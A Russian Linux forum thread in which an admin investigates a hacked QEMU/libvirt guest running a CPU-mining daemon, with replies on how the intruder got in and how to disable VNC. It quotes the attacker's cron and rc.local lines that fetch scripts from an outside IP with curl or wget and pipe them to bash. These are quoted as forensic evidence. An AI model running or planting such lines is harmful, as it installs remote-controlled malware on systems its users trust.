LINUX.ORG.RU
ФорумAdmin

qemu - в виртуалке демон bbp жрёт 400% CPU

 ,


0

1

приветствую
на виртуалке крутится asterisk, но сегодня заметил, что некий демон «bbp» сожрал 400% CPU и не покраснел
снаружи qemu-system-x86 также показывает 400%...
whereis bbp И man bbp - о таком даже не знают
find нашёл: /var/tmp/bbp, /var/tmp/bbp/bbp, /var/bbp, /tmp/bbp, /opt/bbp, /opt/bbp/bbp
куда копать, подскажите?



Последнее исправление: tip78 (всего исправлений: 2)

а, понял, это сервак взломали...
в /var/spool/mail/root такое:

To report bugs, see node `Bugs' in `gawk.info', which is
section `Reporting Problems and Bugs' in the printed version.

gawk is a pattern scanning and processing language.
By default it reads standard input and writes standard output.

Examples:
        gawk '{ sum += $1 }; END { print sum }' file
        gawk -F: '{ print $1 }' /etc/passwd
cat: /home/*/.bash_history: No such file or directory
cat: /root/*/.ssh/known_hosts: No such file or directory
cat: /home/*/.ssh/known_hosts: No such file or directory
cat: /home/*/.bash_history: No such file or directory
cat: /home/*/.bash_history: No such file or directory
local done
bash: line 117: setenforce: command not found
bash: line 118: ufw: command not found
bash: line 119: iptables: command not found
bash: line 120: iptables: command not found
bash: line 121: iptables: command not found
bash: line 122: iptables: command not found
bash: line 123: iptables: command not found
bash: line 124: iptables: command not found
bash: line 125: iptables: command not found
bash: line 126: iptables: command not found
bash: line 127: iptables: command not found
bash: line 128: iptables: command not found
bash: line 129: iptables: command not found
bash: line 130: iptables: command not found
#fuck you "sic"
good host
kernel.nmi_watchdog = 0
root     17827  384  0.0 2444284 7048 ?        Ssl  09:55   8:46 /var/tmp/bbp/bbp
running
*/1 * * * * (curl -s http://199.19.226.142/64/fczyo||wget -q -O - http://199.19.226.142/64/fczyo )|bash -sh
cron good
cron good2
uid=1002(system) gid=1002(system) groups=1002(system),0(root)
только не могу понять, кто это запускает:
*/1 * * * * (curl -s http://199.19.226.142/64/fczyo||wget -q -O - http://199.19.226.142/64/fczyo )|bash -sh

в кроне чисто...
bbp вырубаю, он снова запускается

tip78
() автор топика
Ответ на: комментарий от anonymous

да, но какая-то херня всё равно запускается каждые 2-3 минуты и пишет в /var/spool/mail/root, как там всякое запускается...

плюс на старте может запускаться что-то
подозреваю, что там ещё один демон висит...

bbp вернулся через 10 минут...

нашёл в /etc/rc.local:
touch /var/lock/subsys/local
(curl -s http://199.19.226.142/64/alduro||wget -q -O - http://199.19.226.142/64/alduro )|bash -sh

tip78
() автор топика
Последнее исправление: tip78 (всего исправлений: 3)
Ответ на: комментарий от anonymous

как узнать, от кого в почту к root сыпятся сообщения?
вроде зачистил всё, и юзера созданного удалил, а эта херня ещё висит...

tip78
() автор топика
Ответ на: комментарий от zemidius

вообще там создали юзера system и дали ему sudo
+ ещё одного юзера
на сервак зашли через openvpn (не мой)
добавились в крон к руту, добавились ещё там сям (всё ещё изучаю 3 файла, которые загружаются извне и запускаются)
я всё зачистил и пароли поменял
в файл больше ничего не пишется
clean reinstall - это понятно, но пока посмотрим

tip78
() автор топика
Ответ на: комментарий от Shulman

я с 2008 года на линухе без сертификатов
и это первый сервер, который взломали
с открытым openvpn и sshd на 22 порту...

tip78
() автор топика

bbp

Ухх, это еще хуже, чем ББПП :)

ololoid ★★★★
()
Ответ на: комментарий от tip78

так вот знай, что в centos собирают пакеты тупым ctrl+c/ctrl+v и с постоянным возвращением багов (и всего скорее уязвимостей) обратно в пакетную базу, потому что как-то нужно синхронизироваться с redhat src rpms.

bhfq ★★★★★
()
Ответ на: комментарий от bhfq

да я то знаю, говорю же - интеграторский он
я с центов ушёл ещё лет 10 назад

tip78
() автор топика
Ответ на: комментарий от tip78

на сервак зашли через openvpn (не мой)

Ну да... конечно... даже если его настраивать с использованием /dev/hands/ass как-то слабо представляю что нужно сделать.

я всё зачистил и пароли поменял

Хорошо вам.

в файл больше ничего не пишется

Самое главное! В файл больше не пишется, значит все побеждены! Специальный такой файл, все нехорошие бяки обязательно в него пишут, не могут просто мимо пройти и не написать «здесь был...»

anc ★★★★★
()
Ответ на: комментарий от tip78

и это первый сервер, который взломали

Ну или первый который взломали так халтурно. У меня по молодости была история успеха, повезло в том, что взломщики тоже не особо умные попались и просто грохнули систему.

anc ★★★★★
()
Ответ на: комментарий от anc

не одним файлом...
просто туда непременно скидывалось всё, что под рутом делалось
а так я зачистил всё, что было в 3х файлах, которые там скачивались

tip78
() автор топика
Ответ на: комментарий от tip78

Ну я и говорю, всё! Всех победили! Возьмите с полки пирожок...
ЗЫ Вы главное когда будете ещё находить, что бы темы не плодить сюда пишите.

anc ★★★★★
()
Ответ на: комментарий от bhfq

Та не пугайте вы так, в копейке плюс/минус теже в профиль ежле понимаешь чего делаешь.

anc ★★★★★
()
Ответ на: комментарий от anc

тут такой вопрос: откуда такая запись могла появиться на виртуалке, если сам хост не взломан?
В консоль виртуалки как ещё можно попасть, кроме как с хоста и VNC (там нужен root-пароль)?

Oct 11 04:29:55 localhost login: pam_unix(login:session): session opened for user nig by LOGIN(uid=0)
Oct 11 04:29:55 localhost login: ROOT LOGIN ON tty1

nig - это юзер с id = 0, который прописали в passwd

tip78
() автор топика
Ответ на: комментарий от tip78

тут такой вопрос: откуда такая запись могла появиться на виртуалке, если сам хост не взломан?
В консоль виртуалки как ещё можно попасть, кроме как с хоста и VNC (там нужен root-пароль)?

Вы сейчас с кем разговаривали? Телепаты традиционно в отпуске.

nig - это юзер с id = 0, который прописали в passwd

Если вам чисто для изучения, погуглите, возможно даже это даст направление, а может ещё какие косвенные данные найдете.
Вспомнился бессмысленный случай, народ накопипастил и давай хреначить по всему инету, содержимое пакета и навело на место откуда ноги росли. Им взлом обещали, прямо здесь и сейчас. Бесплатно и без смс :)

anc ★★★★★
()
Последнее исправление: anc (всего исправлений: 2)
Ответ на: комментарий от kmeaw

для этого разве не нужно иметь полный доступ к хосту, где виртуалки крутятся?

Можно ли в single user mode зайти на хост, потом (в этом же single user) запустить kvm, а потом зайти уже на виртуалку (например в single user через консоль) и поменять /etc/passwd ?
Технически это возможно или SUM не даст kvm запустить?

root-доступ на хосте не тронут, ничего постороннего в /etc/passwd нет и в логах ничего нет.
А вот на виртуалке добавили юзера (nig) с id=0 и в логах есть следы...
Не могу понять - как... в логах вход через tty1
На виртуалке был поднят openvpn и VNC работал, но в обоих случаях нужен root-пароль.

tip78
() автор топика
Последнее исправление: tip78 (всего исправлений: 4)
Ответ на: комментарий от tip78

для этого разве не нужно иметь полный доступ к хосту, где виртуалки крутятся?

Достаточно иметь доступ к виртуалке. Я ведь правильно понял, что это на её tty1 зашли?

Можно ли в single user mode зайти на хост, потом (в этом же single user) запустить kvm, а потом зайти уже на виртуалку (например в single user через консоль) и поменять /etc/passwd ?

Можно. Более того, необязательно запускать qemu-kvm - достаточно просто поправить /etc/passwd прямо в виртуальном диске. Например так:

modprobe nbd max_part=8
qemu-nbd -c /dev/nbd0 /path/to/disk.qcow2
mount /dev/nbd0p1 /mnt
vi /mnt/etc/passwd
umount /mnt
qemu-nbd -d /dev/nbd0

Не могу понять - как… в логах вход через tty1

Имея рута можно написать в логах всё, что угодно, если они не подписывсются с генерацией timestamp на стороне криптоустройства или не передаются на внешнее, ещё не сломанное устройство (другая машина или принтер) через append-only протокол.

Поэтому верить сломанной машине нельзя, и в теме правильно предлагают делать clean reinstall.

А почему злоумышленнику обязательно нужен рут на хосте, чтобы добраться до VNC? Может VNC торчит наружу, или где-то есть прокси, который умеет ходить в VNC?

kmeaw ★★★
()
Ответ на: комментарий от kmeaw

Достаточно иметь доступ к виртуалке. Я ведь правильно понял, что это на её tty1 зашли?

так чтобы иметь доступ к виртуалке, нужен рут на виртуалке, а как он его получил...

Можно. Более того, необязательно запускать qemu-kvm - достаточно просто поправить /etc/passwd прямо в виртуальном диске. Например так:

там диски в виде file.img, всё ещё можно?

Поэтому верить сломанной машине нельзя, и в теме правильно предлагают делать clean reinstall.

так вопрос в том, какая именно машина сломана...
если через хост, то проблема совсем иная

А почему злоумышленнику обязательно нужен рут на хосте, чтобы добраться до VNC? Может VNC торчит наружу, или где-то есть прокси, который умеет ходить в VNC?

VNC торчит в локалку... И снаружи можно попасть через отдельный порт-форвард на роутере.
но чтобы зайти через VNC нужен рут на виртуалке

А ещё интересно, нахера ему виртуалка, если у него был хост в распоряжении? Также добавил бы nig в /etc/passwd и юзал больше ресов...

tip78
() автор топика
Последнее исправление: tip78 (всего исправлений: 3)
Ответ на: комментарий от One

А что там пытается запустить? Майнинг на CPU?

похоже на то
в /etc/hosts писались майнинг-сайты, а демон жрал 400% CPU

tip78
() автор топика
Ответ на: комментарий от tip78

там диски в виде file.img, всё ещё можно?

raw? Тогда или точно так же (qemu-nbd умеет разные форматы), или ещё проще:

mount -o loop,offset=1048576 file.img /mnt
vi /mnt/etc/passwd
umount /mnt

(при условии, что первый раздел начинается с 2048 сектора)

А ещё интересно, нахера ему виртуалка, если у него был хост в распоряжении?

Возможно, что сначала сломали виртуалку, нашли VNC (hairpin на роутере? если так, то даже рут на виртуалке не нужен), получили qemu monitor по ctrl-alt-2, а оттуда попали на хост.

kmeaw ★★★
()
Ответ на: комментарий от kmeaw

Возможно, что сначала сломали виртуалку, нашли VNC (hairpin на роутере? если так, то даже рут на виртуалке не нужен), получили qemu monitor по ctrl-alt-2, а оттуда попали на хост.

вот это, на самом деле, ближе всего... Потому что по логам вход с tty1, а именно так VNC и заходит (проверил).
+ там 7 раз пытались сделать ctrl+alt+del, что опять же характерно для VNC...

вопрос: как этот VNC отключить напрочь?

tip78
() автор топика
Ответ на: комментарий от tip78

вопрос: как этот VNC отключить напрочь?

По-умолчанию у qemu должен быть выключен vnc, но можно сделать явным образом -vnc none. Если речь про libvirt, то убрать из xml строчку <graphics type='vnc' />.

kmeaw ★★★
()
Ответ на: комментарий от kmeaw

мда, это открытие, что на виртуалку можно попасть без рута через VNC...

спасибо, будем посмотреть
вероятность single user mode через хост как-то ниже смотрится
там и UP несколько недель был

tip78
() автор топика
Ответ на: комментарий от kmeaw

хм, в данный момент qemu запущен так:
/usr/bin/qemu-system-x86_64 -name guest=name -vnc 192.168.1.8:100 ...

<graphics ..> я удалил и по тому порту уже не могу подключиться
а как тут сделать none?
чё за порт 100 вообще... может это он добавил?
но откуда у него доступ на хост...

tip78
() автор топика
Последнее исправление: tip78 (всего исправлений: 2)
Ответ на: комментарий от tip78

Это не порт, а номер VNC-дисплея. Чтобы получить порт, надо сложить его с константой 5900. 100+5900=6000, т.е. надо подключаться по TCP к 192.168.1.8:6000, и там libvncserver ответит баннером вида «RFB xxx.yyy».

Не уверен насчёт libvirt, но вроде бы он добавляет -vnc по-умолчанию, -vnc none сделать нельзя, но можно убрать -vnc совсем.

kmeaw ★★★
()
Ответ на: комментарий от anonymous

а если бы, да кабы
факты таковы, что ни один мой энтерпрайз не взломан

tip78
() автор топика
Ответ на: комментарий от tip78

Если речь про libvirt, то убрать надо из XML-описания домена и пересоздать его с новым описанием. Скрипты для запуска qemu не используются, код, формирующий строку для параметра «-vnc» находится в файле qemu_command.c, функция qemuBuildGraphicsVNCCommandLine. Если элементов нет, то и «-vnc» в аргументах qemu не будет - эта функция вызывается циклом по всем из qemuBuildGraphicsCommandLine, если значением атрибута «type» является строка «vnc».

Если не про libvirt, то надо изучать, как именно запускается qemu на этом хосте. Я бы начал делать это с просмтра дерева процессов.

kmeaw ★★★
()
Ответ на: комментарий от kmeaw

чёт мудрёно )
да, речь про libvirt
в принципе, если это просто некий +100, то и пофиг на него
netstat не показывает открытых портов

tip78
() автор топика
Ответ на: комментарий от kmeaw

Если речь про libvirt, то убрать надо из XML-описания домена и пересоздать его с новым описанием.

Зачем в гамаке-то? virsh edit $VMNAME

anc ★★★★★
()
Ответ на: комментарий от Shulman

демон жрёт

Шульман, мой юный мафиозник, прекращайте вызывать демонов. Устройтесь лучше на вторую работу …

Владимир

anonymous
()
Ответ на: комментарий от tip78

Может, просто не такие лохи ломали и не палились?) Я бы ни за что не включил ssh дольше, чем на полчаса без отключенной авторизации по паролю.

Dog ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.